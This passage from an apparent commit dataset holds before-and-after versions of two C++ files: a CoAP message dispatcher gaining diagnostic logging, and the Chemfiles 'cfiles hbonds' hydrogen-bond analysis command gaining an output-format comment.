\/\/ FIX: We are arriving here with values of OptionSize(Done?) and OptionValue\n                    \/\/ suggesting strongly we aren't iterating completely or fast-forwarding past\n                    \/\/ value when we need to\n                    bool full_option_value = optionDecoder.state() == OptionDecoder::OptionValueDone;\n                    handler->on_option(partialChunk, full_option_value);\n                    break;\n                }\n\n                case OptionDecoder::OptionSizeDone:\n\n                    break;\n\n                case OptionDecoder::OptionValue:\n                {\n                    \/\/ FIX: Not yet tested\n                    \/\/processed_length = optionDecoder.process_iterate(optionChunk, NULLPTR);\n                    \/\/pipeline::MemoryChunk partialChunk(optionChunk.data, processed_length);\n                    \/\/bool full_option_value = optionDecoder.state() == OptionDecoder::OptionValueDone;\n                    \/\/handler->on_option(partialChunk, full_option_value);\n                    handler->on_option(optionChunk, false);\n                    break;\n                }\n\n                case OptionDecoder::OptionValueDone:\n                {\n                    \/\/ FIX: Not yet supported\n                    \/\/ FIX: Not quite correct code.  We need to suss out how large\n                    \/\/ the chunk we're passing through really is and of course\n                    \/\/ at what boundary it starts\n                    \/\/processed_length = optionDecoder.process_iterate(optionChunk, NULLPTR);\n                    handler->on_option(optionChunk, true);\n                    break;\n                }\n\n                case OptionDecoder::Payload:\n                    \/\/ NOTE: Not yet used, we don't iterate enough to get here\n                    break;\n\n                default:break;\n            }\n        }\n\n        handler = handler->next();\n    }\n\n    return total_length;\n}\n\n\nvoid Dispatcher::dispatch_payload(const pipeline::MemoryChunk& payloadChunk, bool last_chunk)\n{\n    \/\/size_t processed_length = optionDecoder.process_iterate(payloadChunk, NULLPTR);\n\n    handler_t* handler = head();\n\n    while(handler != NULLPTR)\n    {\n        if(handler->is_interested())\n        {\n            handler->on_payload(payloadChunk, last_chunk);\n        }\n\n        handler = handler->next();\n    }\n}\n\n\nvoid Dispatcher::dispatch_token()\n{\n    handler_t* handler = head();\n    pipeline::MemoryChunk chunk(tokenDecoder.data(), headerDecoder.token_length());\n\n    while(handler != NULLPTR)\n    {\n        if(handler->is_interested())\n        {\n            \/\/ this dispatcher does not chunk out token, we gather the whole thing in a local buffer\n            \/\/ FIX: really though we SHOULD chunk it out (if necessary) and avoid allocating a buffer\n            \/\/ entirely - under the right circumstances\n            \/\/ for character-by-character scenarios though we DO prefer to have this mini-buffered\n            \/\/ version.  As such, we probably want a separate dispatcher which is optimized for character\n            \/\/ by character dispatching which uses this TokenDecoder\n            handler->on_token(chunk, true);\n        }\n\n        handler = handler->next();\n    }\n}\n\n}\n\n}}\n<commit_msg>Adding diagnostic logging for option receipt<commit_after>#define DEBUG2\n\n\/\/\n\/\/ Created by Malachi Burke on 12\/26\/17.\n\/\/\n\n#include \"coap-dispatcher.h\"\n\nnamespace moducom { namespace coap {\n\nnamespace experimental {\n\nconst char* get_description(OptionDecoder::State state)\n{\n    switch(state)\n    {\n        case OptionDecoder::OptionSize:\n            return \"Inspecting initial option data\";\n\n        case OptionDecoder::OptionDeltaDone:\n            return \"Delta (option number) found\";\n\n        case OptionDecoder::Payload:\n            return \"Payload marker found\";\n\n        case OptionDecoder::OptionDelta:\n            return \"Delta found\";\n\n        case OptionDecoder::OptionValue:\n            return \"Inspecting value data\";\n\n        case OptionDecoder::OptionValueDone:\n            return \"Value data complete\";\n\n        case OptionDecoder::OptionDeltaAndLengthDone:\n            return \"Delta and length simultaneously done\";\n\n        default:\n            return NULLPTR;\n    }\n}\n\n#ifdef DEBUG2\nstd::ostream& operator <<(std::ostream& out, OptionDecoder::State state)\n{\n    const char* description = get_description(state);\n\n    if(description != NULLPTR)\n        out << description;\n    else\n        out << (int)state;\n\n    return out;\n}\n#endif\n\n\/\/ TODO: Need a smooth way to ascertain end of CoAP message (remember multipart\/streaming\n\/\/ won't have a discrete message boundary)\nbool Dispatcher::dispatch_iterate(Context& context)\n{\n    const pipeline::MemoryChunk& chunk = context.chunk;\n    size_t& pos = context.pos; \/\/ how far into chunk our locus of processing should be\n    bool process_done = false;\n\n    switch(state())\n    {\n        case Uninitialized:\n            \/\/ If necessary, initialize header decoder\n            state(Header);\n            init_header_decoder();\n            break;\n\n        case Header:\n            while(pos < chunk.length && !process_done)\n            {\n                process_done = headerDecoder.process_iterate(chunk[pos]);\n\n                \/\/ FIX: This meaning I believe is reversed from non decoder process calls\n                \/\/ FIX: process_done does not designate whether bytes were consumed, for\n                \/\/ headerDecoder and tokenDecoder, byte is always consumed\n                pos++;\n            }\n\n            if(process_done) state(HeaderDone);\n\n            break;\n\n        case HeaderDone:\n            dispatch_header();\n            if(headerDecoder.token_length() > 0)\n            {\n                state(Token);\n                \/\/ TODO: May want a TokenStart state\n                init_token_decoder();\n            }\n            else\n                state(OptionsStart);\n            break;\n\n        case Token:\n            while(pos < chunk.length && !process_done)\n            {\n                \/\/ TODO: Utilize a simpler counter and chunk out token\n                process_done = tokenDecoder.process_iterate(chunk[pos], headerDecoder.token_length());\n\n                \/\/ FIX: This meaning I believe is reversed from non decoder process calls\n                \/\/ FIX: process_done does not designate whether bytes were consumed, for\n                \/\/ headerDecoder and tokenDecoder, byte is always consumed\n                pos++;\n            }\n\n            if(process_done) state(TokenDone);\n\n            break;\n\n        case TokenDone:\n            dispatch_token();\n\n            state(OptionsStart);\n            break;\n\n        case OptionsStart:\n            init_option_decoder();\n            optionHolder.number_delta = 0;\n            optionHolder.length = 0;\n            state(Options);\n            break;\n\n        case Options:\n        {\n#ifdef DEBUG2\n            std::clog << __func__ << \": 1 optionDecoder state = \" << (optionDecoder.state()) << std::endl;\n#endif\n\n            pos += dispatch_option(chunk.remainder(pos));\n\n#ifdef DEBUG2\n            std::clog << __func__ << \": 2 optionDecoder state = \" << (optionDecoder.state()) << std::endl;\n#endif\n\n            \/\/ handle option a.1), a.2) or b.1) described below\n            if ((pos == chunk.length && context.last_chunk) || chunk[pos] == 0xFF)\n            {\n                ASSERT_ERROR(true,\n                             (optionDecoder.state() == OptionDecoder::OptionValueDone) ||\n                             (optionDecoder.state() == OptionDecoder::OptionDeltaAndLengthDone),\n                             \"Must be either optionValueDone or optionDeltaAndlengthDone.  Got: \" << optionDecoder.state());\n                \/\/ will check again for 0xFF\n                state(OptionsDone);\n            }\n            else\n            {\n                \/\/ UNSUPPORTED\n                \/\/ b.2 means we are not sure if another option or an incoming chunk[0] == 0xFF is coming\n                \/\/ MAY need an OptionsBoundary state, but hopefully not\n                \/\/ better would be to beef up OptionDecoder awareness of Payload marker\n            }\n\n            break;\n        }\n\n        case OptionsDone:\n            \/\/ TODO: Need to peer into incoming data stream to determine if a payload is on the way\n            \/\/ or not - specifically need to also check size.  Here there are 3 possibilities:\n            \/\/\n            \/\/ a.1) payload marker present, so process a payload, entire chunk \/ datagram remainder present\n            \/\/ a.2) payload marker present, but only partial chunk present, so more payload to process\n            \/\/ b.1) end of datagram - entire chunk present\n            \/\/ b.2) end of chunk - only partial chunk present\n            \/\/ c) as-yet-to-be-determined streaming end of chunk marker\n            if (pos == chunk.length && context.last_chunk)\n            {\n                \/\/ this is for condition b.1)\n                state(Done);\n            }\n            else if (chunk[pos] == 0xFF)\n            {\n                pos++;\n\n                \/\/ this is for condition a.1 or 1.2\n                state(Payload);\n            }\n            else\n            {\n                \/\/ UNSUPPORTED\n                \/\/ falls through to condition c, but could get a false positive on header 0xFF\n                \/\/ so this is unsupported.  Plus we can't really get here properly from Options state\n                state(Done);\n            }\n            break;\n\n        case Payload:\n        {\n            bool last_payload_chunk = context.last_chunk;\n\n            if(pos == 0)\n                \/\/ arrives here in the unlikely case payload starts on new chunk\n                \/\/ boundary\n                dispatch_payload(chunk, last_payload_chunk);\n            else\n                \/\/ typically represents an a.1 scenario, but doesn't have to\n                dispatch_payload(chunk.remainder(pos), last_payload_chunk);\n\n            \/\/ pos not advanced since we expect caller to separate out streaming coap payload end from\n            \/\/ next coap begin and create an artificial chunk boundary\n            pos = chunk.length;\n            state(PayloadDone);\n            break;\n        }\n\n        case PayloadDone:\n            \/\/dispatch_payload(chunk, true);\n            state(Done);\n            break;\n\n        case Done:\n            state(Uninitialized);\n            break;\n    }\n\n    \/\/ TODO: Do an assert to make sure pos never is >\n    ASSERT_ERROR(true, pos <= chunk.length, \"pos should never exceed chunk length\");\n\n    return pos == chunk.length;\n}\n\nvoid Dispatcher::dispatch_header()\n{\n    handler_t* handler = head();\n\n    while(handler != NULLPTR)\n    {\n        handler->on_header(headerDecoder);\n        handler = handler->next();\n    }\n}\n\n\/\/ also handles pre-dispatch processing\n\/\/ 100% untested\nsize_t Dispatcher::dispatch_option(const pipeline::MemoryChunk& optionChunk)\n{\n    \/\/ FIX: we generally expect to be at OptionSize state here, however in the future this\n    \/\/ requirement should go away (once we clean up needs_value_processed behavior)\n    size_t processed_length = optionDecoder.process_iterate(optionChunk, &optionHolder);\n    size_t value_pos = processed_length;\n\n    \/\/ FIX: Kludgey, can really be cleaned up and optimized\n    \/\/ ensures that our linked list doesn't execute process_iterate multiple times to acquire\n    \/\/ option-value.  Instead, our linked list looping might need to happen per state() switched on\n    \/\/ Will also cause problems if there are no registered handlers, since count will be off as\n    \/\/ value is never processed\n    bool needs_value_processed = true;\n    size_t total_length = processed_length;\n\n    handler_t* handler = head();\n\n    while(handler != NULLPTR)\n    {\n        if(handler->is_interested())\n        {\n            switch (optionDecoder.state())\n            {\n                case OptionDecoder::OptionLengthDone:\n                case OptionDecoder::OptionDeltaAndLengthDone:\n                {\n                    IOptionInput::number_t option_number = (IOptionInput::number_t) optionHolder.number_delta;\n                    uint16_t option_length = optionHolder.length;\n#ifdef DEBUG2\n                    std::clog << \"Dispatching option: \" << option_number << \" with length \" << optionHolder.length;\n                    std::clog << std::endl;\n#endif\n                    handler->on_option(option_number, option_length);\n\n                    if(needs_value_processed)\n                    {\n                        \/\/ Getting here\n                        processed_length = optionDecoder.process_iterate(optionChunk.remainder(processed_length), &optionHolder);\n                        total_length += processed_length;\n                        needs_value_processed = false;\n                    }\n\n                    ASSERT_WARN(option_length, processed_length, \"option length mismatch with processed bytes\");\n\n                    if(option_length > 0)\n                    {\n                        \/\/ TODO: Need to demarkate boundary here too so that on_option knows where boundary starts\n                        pipeline::MemoryChunk partialChunk(optionChunk.data + value_pos, processed_length);\n\n#ifdef DEBUG2\n                        std::clog << \"Dispatching option: data = \";\n\n                        \/\/ once we resolve the two different OptionExperimentals, use this\n                        \/\/CoAP::OptionExperimental::get_format()\n                        \/\/optionHolder.get_format();\n                        \/\/ for now, just assume everything is a string\n                        for(int i = 0; i < option_length; i++)\n                        {\n                            std::clog << (char)partialChunk[i];\n                        }\n\n                        std::clog << std::endl;\n#endif\n                        \/\/ FIX: We are arriving here with values of OptionSize(Done?) and OptionValue\n                        \/\/ suggesting strongly we aren't iterating completely or fast-forwarding past\n                        \/\/ value when we need to\n                        bool full_option_value = optionDecoder.state() == OptionDecoder::OptionValueDone;\n                        handler->on_option(partialChunk, full_option_value);\n                    }\n                    break;\n                }\n\n                case OptionDecoder::OptionSizeDone:\n\n                    break;\n\n                case OptionDecoder::OptionValue:\n                {\n                    \/\/ FIX: Not yet tested\n                    \/\/processed_length = optionDecoder.process_iterate(optionChunk, NULLPTR);\n                    \/\/pipeline::MemoryChunk partialChunk(optionChunk.data, processed_length);\n                    \/\/bool full_option_value = optionDecoder.state() == OptionDecoder::OptionValueDone;\n                    \/\/handler->on_option(partialChunk, full_option_value);\n                    handler->on_option(optionChunk, false);\n                    break;\n                }\n\n                case OptionDecoder::OptionValueDone:\n                {\n                    \/\/ FIX: Not yet supported\n                    \/\/ FIX: Not quite correct code.  We need to suss out how large\n                    \/\/ the chunk we're passing through really is and of course\n                    \/\/ at what boundary it starts\n                    \/\/processed_length = optionDecoder.process_iterate(optionChunk, NULLPTR);\n                    handler->on_option(optionChunk, true);\n                    break;\n                }\n\n                case OptionDecoder::Payload:\n                    \/\/ NOTE: Not yet used, we don't iterate enough to get here\n                    break;\n\n                default:break;\n            }\n        }\n\n        handler = handler->next();\n    }\n\n    return total_length;\n}\n\n\nvoid Dispatcher::dispatch_payload(const pipeline::MemoryChunk& payloadChunk, bool last_chunk)\n{\n    \/\/size_t processed_length = optionDecoder.process_iterate(payloadChunk, NULLPTR);\n\n    handler_t* handler = head();\n\n    while(handler != NULLPTR)\n    {\n        if(handler->is_interested())\n        {\n            handler->on_payload(payloadChunk, last_chunk);\n        }\n\n        handler = handler->next();\n    }\n}\n\n\nvoid Dispatcher::dispatch_token()\n{\n    handler_t* handler = head();\n    pipeline::MemoryChunk chunk(tokenDecoder.data(), headerDecoder.token_length());\n\n    while(handler != NULLPTR)\n    {\n        if(handler->is_interested())\n        {\n            \/\/ this dispatcher does not chunk out token, we gather the whole thing in a local buffer\n            \/\/ FIX: really though we SHOULD chunk it out (if necessary) and avoid allocating a buffer\n            \/\/ entirely - under the right circumstances\n            \/\/ for character-by-character scenarios though we DO prefer to have this mini-buffered\n            \/\/ version.  As such, we probably want a separate dispatcher which is optimized for character\n            \/\/ by character dispatching which uses this TokenDecoder\n            handler->on_token(chunk, true);\n        }\n\n        handler = handler->next();\n    }\n}\n\n}\n\n}}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ cfiles, an analysis frontend for the Chemfiles library\n\/\/ Copyright (C) 2015-2016 Guillaume Fraux\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/\n\n#include <docopt\/docopt.h>\n#include <sstream>\n#include <fstream>\n\n#include \"HBonds.hpp\"\n#include \"Errors.hpp\"\n#include \"utils.hpp\"\n#include \"geometry.hpp\"\n\nusing namespace chemfiles;\n\nstatic const double pi = 3.141592653589793238463;\nstatic const char OPTIONS[] =\nR\"(Compute list of hydrogen bonds along a trajectory. Selections for the acceptor and donor atoms \ncan be specified using the chemfiles selection language. It is possible to provide an alternative \nunit cell or topology for the trajectory file if they are not defined in the trajectory format. \nHydrogen bonds are defined as electrostatic attraction between two polar groups: the acceptor group \nis a hydrogen atom covalently bound to an electronegative atom (usually O, N, F) while \nthe donor group is another highly electronegative atom. \nThe criteria used depend on a maximum donor-acceptor distance and a maximum donor-acceptor-H angle.\nHydrogen bonds criteria can be specified.\n\nFor more information about chemfiles selection language, please see\nhttp:\/\/chemfiles.org\/chemfiles\/latest\/selections.html\n\nUsage:\n  cfiles hbonds [options] <trajectory>\n  cfiles hbonds (-h | --help)\n\nExamples:\n  cfiles hbonds water.xyz --cell 15:15:25 --guess-bonds \n  cfiles hbonds in.pdb --acceptors==\"bonds: type(#1) == O and type(#2) == H\"\n  cfiles hbonds protein.pdb --donors==\"atoms: type N\" -p 2.5:20.0\n\nOptions:\n  -h --help                     show this help\n  -o <file>, --output=<file>    write result to <file>. This default to the \n                                trajectory file name with the `_hb.dat` extension.\n  --format=<format>             force the input file format to be <format>\n  -t <path>, --topology=<path>  alternative topology file for the input\n  --topology-format=<format>    use <format> as format for the topology file\n  --guess-bonds                 guess the bonds in the input\n  -c <cell>, --cell=<cell>      alternative unit cell. <cell> format is one of\n                                <a:b:c:α:β:γ> or <a:b:c> or <a>. 'a', 'b' and\n                                'c' are in angstroms, 'α', 'β', and 'γ' are in\n                                degrees.\n  --steps=<steps>               steps to use from the input. <steps> format\n                                is <start>:<end>[:<stride>] with <start>, <end>\n                                and <stride> optional. Default is to use all\n                                steps from the input; starting at 0, ending at\n                                the last step, and with a stride of 1.\n  --acceptors=<sel>             selection to use for the acceptors. This must be a\n                                selection of size 2 and type bonds The second atom\n\t\t\t\tshould be the hydrogen atom.\n                                [default: bonds: type(#2) == H]\n  --donors=<sel>                selection to use for the donors. This must be a\n                                selection of size 1.\n                                [default: atoms: type O or type N or type F]\n  --distance=<dist>             distance criterion to use for the hydrogen bond detection.\n                                'dist' is the donor-acceptor maximum distance in angstroms.\n                                [default: 3.0]\n  --angle=<angle>               angle criterion to use for the hydrogen bond detection.\n                                'angle' is the donor-acceptor-hydrogen maximum angle in degrees.\n                                [default: 30.0]\n)\";\n\nstatic HBonds::Options parse_options(int argc, const char* argv[]) {\n    auto options_str = command_header(\"hbonds\", HBonds().description()) + \"\\n\";\n    options_str += \"Laura Scalfi <laura.scalfi@ens.fr>\\n\";\n    options_str += OPTIONS;\n    auto args = docopt::docopt(options_str, {argv, argv + argc}, true, \"\");\n\n    HBonds::Options options;\n    options.trajectory = args.at(\"<trajectory>\").asString();\n    options.guess_bonds = args.at(\"--guess-bonds\").asBool();\n\n    options.selection_acceptor = args.at(\"--acceptors\").asString();\n    options.selection_donor = args.at(\"--donors\").asString();\n\n    if (args.at(\"--output\")){\n        options.outfile = args.at(\"--output\").asString();\n    } else {\n        options.outfile = options.trajectory + \"_hb.dat\";\n    }\n\n    if (args.at(\"--steps\")) {\n        options.steps = steps_range::parse(args.at(\"--steps\").asString());\n    }\n\n    if (args.at(\"--format\")){\n        options.format = args.at(\"--format\").asString();\n    }\n\n    if (args.at(\"--topology\")){\n        if (options.guess_bonds) {\n            throw CFilesError(\"Can not use both '--topology' and '--guess-bonds'\");\n        }\n        options.topology = args.at(\"--topology\").asString();\n    }\n\n    if (args.at(\"--topology-format\")){\n        if (options.topology == \"\") {\n            throw CFilesError(\"Useless '--topology-format' without '--topology'\");\n        }\n        options.topology_format = args.at(\"--topology-format\").asString();\n    }\n\n    if (args.at(\"--cell\")) {\n        options.custom_cell = true;\n        options.cell = parse_cell(args.at(\"--cell\").asString());\n\t}\n\n    options.distance = 3.0;\n    options.angle = 30.0;\n    if (args.at(\"--distance\")) {\n        try {\n            options.distance = std::stod(args.at(\"--distance\").asString());\n        } catch(std::invalid_argument) {\n            throw CFilesError(\"Invalid argument for distance criterion\");\n        }\n    }\t\n    if (args.at(\"--angle\")) {\n        try {\n            options.angle = std::stod(args.at(\"--angle\").asString())*pi\/180;\n        } catch(std::invalid_argument) {\n            throw CFilesError(\"Invalid argument for angle criterion\");\n        }\n    }\t\n\n    return options;\n}\n\n\nstd::string HBonds::description() const {\n    return \"compute hydrogen bonds network\";\n}\n\nint HBonds::run(int argc, const char* argv[]) {\n    auto options = parse_options(argc, argv);\n\n    selection_acceptor_ = Selection(options.selection_acceptor);\n    if (selection_acceptor_.size() != 2) {\n        throw CFilesError(\"Can not use a selection for acceptors with size different than 2.\");\n    }\n\n    auto selection_string = split(selection_acceptor_.string(),':');\n    if (selection_string[0] != \"bonds\") {\n        throw CFilesError(\"'Bonds' type selection compulsory for acceptors.\");\n    }\n\n    selection_donor_ = Selection(options.selection_donor);\n    if (selection_donor_.size() != 1) {\n        throw CFilesError(\"Can not use a selection for donors with size larger than 1.\");\n    }\n\n    auto infile = Trajectory(options.trajectory, 'r', options.format);\n    std::ofstream outfile(options.outfile, std::ios::out);\n    if (outfile.is_open()) {\n        outfile << \"#Hydrogen bond network in trajectory \" << options.trajectory << std::endl;\n        outfile << \"# Selection: acceptors: \" << options.selection_acceptor;\n        outfile << \" and donors: \" << options.selection_donor << std::endl;\n        outfile << \"# Criteria:\" << std::endl;\n        outfile << \"# donor-acceptor distance < \" << options.distance << \" angstroms\" << std::endl;\n        outfile << \"# donor-acceptor-H angle < \" << options.angle*180\/pi << \" degrees\" << std::endl;\n    } else {\n        throw CFilesError(\"Could not open the '\" + options.outfile + \"' file.\");\n    }\n\n    if (options.custom_cell) {\n        infile.set_cell(options.cell);\n    }\n\n    if (options.topology != \"\") {\n        infile.set_topology(options.topology, options.topology_format);\n    }\n\n    for (auto step: options.steps) {\n        if (step >= infile.nsteps()) {\n            break;\n        }\n        auto frame = infile.read_step(step);\n        if (options.guess_bonds) {\n            frame.guess_topology();\n        }\n\n        outfile << \"# Frame: \" << step << std::endl;        \n\n        auto positions = frame.positions();\n        auto cell = frame.cell();\n\n        auto matched = selection_acceptor_.evaluate(frame);\n        for (auto match: matched) {\n            assert(match.size() == 2);\n\n            size_t acceptor = static_cast<size_t>(-1);\n            size_t hydrogen = static_cast<size_t>(-1);\n\n            if (frame.topology()[match[0]].type() == \"H\") {\n                acceptor = match[1];\n                hydrogen = match[0];\n            }\n            else if (frame.topology()[match[1]].type() == \"H\") {\n                acceptor = match[0];\n                hydrogen = match[1];\n            }\n            else\n            {\n                throw CFilesError(\"Invalid acceptors selection: there is no hydrogen atom.\");\n            }\n\n            auto donors = selection_donor_.list(frame);\n            for (auto donor: donors) {\n                if (donor != acceptor && frame.topology()[donor].type() != \"H\") {\n                    auto r_ad = cell.wrap(positions[donor] - positions[acceptor]);\n                    auto distance = norm(r_ad); \n                    auto r_ah = cell.wrap(positions[hydrogen] - positions[acceptor]);\n                    auto theta = angle(r_ad, r_ah);\n                    if (distance < options.distance && theta < options.angle) {\n                        outfile << frame.topology()[donor].type() << donor << \"   \";\n                        outfile << frame.topology()[acceptor].type() << acceptor << \"   \";\n                        outfile << frame.topology()[hydrogen].type() << hydrogen << \"  : \";\n                        outfile << distance << \"    \"; \n                        outfile << theta*180\/pi << std::endl;\n                    }\n                }\n            }\n        }\n    }\n\n    return 0;\n}\n<commit_msg>Comment to explain output format<commit_after>\/\/ cfiles, an analysis frontend for the Chemfiles library\n\/\/ Copyright (C) 2015-2016 Guillaume Fraux\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/\n\n#include <docopt\/docopt.h>\n#include <sstream>\n#include <fstream>\n\n#include \"HBonds.hpp\"\n#include \"Errors.hpp\"\n#include \"utils.hpp\"\n#include \"geometry.hpp\"\n\nusing namespace chemfiles;\n\nstatic const double pi = 3.141592653589793238463;\nstatic const char OPTIONS[] =\nR\"(Compute list of hydrogen bonds along a trajectory. Selections for the acceptor and donor atoms \ncan be specified using the chemfiles selection language. It is possible to provide an alternative \nunit cell or topology for the trajectory file if they are not defined in the trajectory format. \nHydrogen bonds are defined as electrostatic attraction between two polar groups: the acceptor group \nis a hydrogen atom covalently bound to an electronegative atom (usually O, N, F) while \nthe donor group is another highly electronegative atom. \nThe criteria used depend on a maximum donor-acceptor distance and a maximum donor-acceptor-H angle.\nHydrogen bonds criteria can be specified.\n\nFor more information about chemfiles selection language, please see\nhttp:\/\/chemfiles.org\/chemfiles\/latest\/selections.html\n\nUsage:\n  cfiles hbonds [options] <trajectory>\n  cfiles hbonds (-h | --help)\n\nExamples:\n  cfiles hbonds water.xyz --cell 15:15:25 --guess-bonds \n  cfiles hbonds in.pdb --acceptors==\"bonds: type(#1) == O and type(#2) == H\"\n  cfiles hbonds protein.pdb --donors==\"atoms: type N\" -p 2.5:20.0\n\nOptions:\n  -h --help                     show this help\n  -o <file>, --output=<file>    write result to <file>. This default to the \n                                trajectory file name with the `_hb.dat` extension.\n  --format=<format>             force the input file format to be <format>\n  -t <path>, --topology=<path>  alternative topology file for the input\n  --topology-format=<format>    use <format> as format for the topology file\n  --guess-bonds                 guess the bonds in the input\n  -c <cell>, --cell=<cell>      alternative unit cell. <cell> format is one of\n                                <a:b:c:α:β:γ> or <a:b:c> or <a>. 'a', 'b' and\n                                'c' are in angstroms, 'α', 'β', and 'γ' are in\n                                degrees.\n  --steps=<steps>               steps to use from the input. <steps> format\n                                is <start>:<end>[:<stride>] with <start>, <end>\n                                and <stride> optional. Default is to use all\n                                steps from the input; starting at 0, ending at\n                                the last step, and with a stride of 1.\n  --acceptors=<sel>             selection to use for the acceptors. This must be a\n                                selection of size 2 and type bonds The second atom\n\t\t\t\tshould be the hydrogen atom.\n                                [default: bonds: type(#2) == H]\n  --donors=<sel>                selection to use for the donors. This must be a\n                                selection of size 1.\n                                [default: atoms: type O or type N or type F]\n  --distance=<dist>             distance criterion to use for the hydrogen bond detection.\n                                'dist' is the donor-acceptor maximum distance in angstroms.\n                                [default: 3.0]\n  --angle=<angle>               angle criterion to use for the hydrogen bond detection.\n                                'angle' is the donor-acceptor-hydrogen maximum angle in degrees.\n                                [default: 30.0]\n)\";\n\nstatic HBonds::Options parse_options(int argc, const char* argv[]) {\n    auto options_str = command_header(\"hbonds\", HBonds().description()) + \"\\n\";\n    options_str += \"Laura Scalfi <laura.scalfi@ens.fr>\\n\";\n    options_str += OPTIONS;\n    auto args = docopt::docopt(options_str, {argv, argv + argc}, true, \"\");\n\n    HBonds::Options options;\n    options.trajectory = args.at(\"<trajectory>\").asString();\n    options.guess_bonds = args.at(\"--guess-bonds\").asBool();\n\n    options.selection_acceptor = args.at(\"--acceptors\").asString();\n    options.selection_donor = args.at(\"--donors\").asString();\n\n    if (args.at(\"--output\")){\n        options.outfile = args.at(\"--output\").asString();\n    } else {\n        options.outfile = options.trajectory + \"_hb.dat\";\n    }\n\n    if (args.at(\"--steps\")) {\n        options.steps = steps_range::parse(args.at(\"--steps\").asString());\n    }\n\n    if (args.at(\"--format\")){\n        options.format = args.at(\"--format\").asString();\n    }\n\n    if (args.at(\"--topology\")){\n        if (options.guess_bonds) {\n            throw CFilesError(\"Can not use both '--topology' and '--guess-bonds'\");\n        }\n        options.topology = args.at(\"--topology\").asString();\n    }\n\n    if (args.at(\"--topology-format\")){\n        if (options.topology == \"\") {\n            throw CFilesError(\"Useless '--topology-format' without '--topology'\");\n        }\n        options.topology_format = args.at(\"--topology-format\").asString();\n    }\n\n    if (args.at(\"--cell\")) {\n        options.custom_cell = true;\n        options.cell = parse_cell(args.at(\"--cell\").asString());\n\t}\n\n    options.distance = 3.0;\n    options.angle = 30.0;\n    if (args.at(\"--distance\")) {\n        try {\n            options.distance = std::stod(args.at(\"--distance\").asString());\n        } catch(std::invalid_argument) {\n            throw CFilesError(\"Invalid argument for distance criterion\");\n        }\n    }\t\n    if (args.at(\"--angle\")) {\n        try {\n            options.angle = std::stod(args.at(\"--angle\").asString())*pi\/180;\n        } catch(std::invalid_argument) {\n            throw CFilesError(\"Invalid argument for angle criterion\");\n        }\n    }\t\n\n    return options;\n}\n\n\nstd::string HBonds::description() const {\n    return \"compute hydrogen bonds network\";\n}\n\nint HBonds::run(int argc, const char* argv[]) {\n    auto options = parse_options(argc, argv);\n\n    selection_acceptor_ = Selection(options.selection_acceptor);\n    if (selection_acceptor_.size() != 2) {\n        throw CFilesError(\"Can not use a selection for acceptors with size different than 2.\");\n    }\n\n    auto selection_string = split(selection_acceptor_.string(),':');\n    if (selection_string[0] != \"bonds\") {\n        throw CFilesError(\"'Bonds' type selection compulsory for acceptors.\");\n    }\n\n    selection_donor_ = Selection(options.selection_donor);\n    if (selection_donor_.size() != 1) {\n        throw CFilesError(\"Can not use a selection for donors with size larger than 1.\");\n    }\n\n    auto infile = Trajectory(options.trajectory, 'r', options.format);\n    std::ofstream outfile(options.outfile, std::ios::out);\n    if (outfile.is_open()) {\n        outfile << \"#Hydrogen bond network in trajectory \" << options.trajectory << std::endl;\n        outfile << \"# Selection: acceptors: \" << options.selection_acceptor;\n        outfile << \" and donors: \" << options.selection_donor << std::endl;\n        outfile << \"# Criteria:\" << std::endl;\n        outfile << \"# donor-acceptor distance < \" << options.distance << \" angstroms\" << std::endl;\n        outfile << \"# donor-acceptor-H angle < \" << options.angle*180\/pi << \" degrees\" << std::endl;\n    } else {\n        throw CFilesError(\"Could not open the '\" + options.outfile + \"' file.\");\n    }\n\n    if (options.custom_cell) {\n        infile.set_cell(options.cell);\n    }\n\n    if (options.topology != \"\") {\n        infile.set_topology(options.topology, options.topology_format);\n    }\n\n    for (auto step: options.steps) {\n        if (step >= infile.nsteps()) {\n            break;\n        }\n        auto frame = infile.read_step(step);\n        if (options.guess_bonds) {\n            frame.guess_topology();\n        }\n\n        outfile << \"# Frame: \" << step << std::endl;        \n        outfile << \"# Donor   Acceptor   Hydrogen  : Distance D-A    Angle D-A-H\" << std::endl;\n\n        auto positions = frame.positions();\n        auto cell = frame.cell();\n\n        auto matched = selection_acceptor_.evaluate(frame);\n        for (auto match: matched) {\n            assert(match.size() == 2);\n\n            size_t acceptor = static_cast<size_t>(-1);\n            size_t hydrogen = static_cast<size_t>(-1);\n\n            if (frame.topology()[match[0]].type() == \"H\") {\n                acceptor = match[1];\n                hydrogen = match[0];\n            }\n            else if (frame.topology()[match[1]].type() == \"H\") {\n                acceptor = match[0];\n                hydrogen = match[1];\n            }\n            else\n            {\n                throw CFilesError(\"Invalid acceptors selection: there is no hydrogen atom.\");\n            }\n\n            auto donors = selection_donor_.list(frame);\n            for (auto donor: donors) {\n                if (donor != acceptor && frame.topology()[donor].type() != \"H\") {\n                    auto r_ad = cell.wrap(positions[donor] - positions[acceptor]);\n                    auto distance = norm(r_ad); \n                    auto r_ah = cell.wrap(positions[hydrogen] - positions[acceptor]);\n                    auto theta = angle(r_ad, r_ah);\n                    if (distance < options.distance && theta < options.angle) {\n                        outfile << frame.topology()[donor].type() << donor << \"   \";\n                        outfile << frame.topology()[acceptor].type() << acceptor << \"   \";\n                        outfile << frame.topology()[hydrogen].type() << hydrogen << \"  : \";\n                        outfile << distance << \"    \"; \n                        outfile << theta*180\/pi << std::endl;\n                    }\n                }\n            }\n        }\n    }\n\n    return 0;\n}\n<|endoftext|>"}
